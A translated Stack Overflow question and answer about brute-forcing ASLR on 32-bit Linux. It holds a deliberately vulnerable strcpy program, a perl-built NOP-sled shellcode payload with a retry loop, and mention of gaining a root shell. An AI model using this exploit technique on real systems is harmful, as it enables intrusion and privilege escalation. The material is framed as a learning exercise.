c - ASLR 蛮力

我刚刚阅读了地址空间布局随机化，我尝试了一个非常简单的脚本来尝试对其进行暴力破解。这是我用来测试一些东西的程序。

#include <stdio.h>
#include <string.h>

int main (int argc, char **argv)
{
    char buf[8];
    printf("&buf = %p\n", buf);
    if (argc > 1 && strcpy(buf, argv[1]));
    return 0;
}

我用这个命令编译它:

gcc -g -fno-stack-protector -o vul vul.c

我确保启用了 ASLR:

$ sysctl kernel.randomize_va_space
kernel.randomize_va_space = 2

然后，我想出了这个简单的脚本:

str=`perl -e 'print "\x40\xfa\xbb\xbf"x10 \
    . "\x90"x65536                        \
    . "\x31\xc0\x40\x89\xc3\xcd\x80"'`

while [ $? -ne 1 ]; do
    ./vul $str
done

格式是

return address many times | 64KB NOP slide | shellcode that runs exit(1)

运行此脚本几秒钟后，它以我想要的错误代码 1 退出。我还尝试了其他调用 execv("/bin/sh", ...) 的 shellcode，我也成功了。

我觉得奇怪的是，即使在返回地址之后也可以创建这么长的 NOP 幻灯片。我认为 ASLR 更有效，我错过了什么吗？是不是因为地址空间太小了？

编辑 :我做了一些额外的研究，这是我发现的:

我请一位 friend 在他的 64b 计算机上使用 -m32 -z execstack 运行此代码，在稍微更改返回地址后，他得到了相同的结果。

尽管我没有使用 -z execstack ，我还是设法执行了 shellcode。我通过使用不同的 shellcode 来确保这一点，它们都做了他们应该做的事情(即使是众所周知的场景 chown root ./vul 、 chmod +s ./vul 、运行 setreuid(0, 0) 然后 execv("/bin/sh", ...) 和最后 whoami 在生成的 shell 中返回“root”的 shellcode)。
这很奇怪，因为 execstack -q ./vul 告诉我可执行堆栈标志位没有设置。有谁知道为什么？

最佳答案

首先，我有点惊讶您不需要将选项 -z execstack 传递给编译器来获取 shellcode 来执行 exit(1) 。

此外，我猜您使用的是 32 位机器，因为您没有将选项 -m32 传递给 gcc 以获得 32 位代码。

最后，我没有成功运行你的程序(我等了几秒钟)。

所以，我对你的结论有点怀疑(除非你运行的是一个非常特殊的 Linux 系统或者可能很幸运)。

无论如何，有两件主要的事情你没有提到:

提供无限利用窗口的错误非常罕见。

大多数现代系统都在 amd64(64 位)处理器上运行，这大大降低了命中 nop-zone 的可能性。

您可以查看 ASLR 维基百科页面上的“ASLR Effectiveness”部分。

关于c - ASLR 蛮力，我们在Stack Overflow上找到一个类似的问题：https://stackoverflow.com/questions/16110591/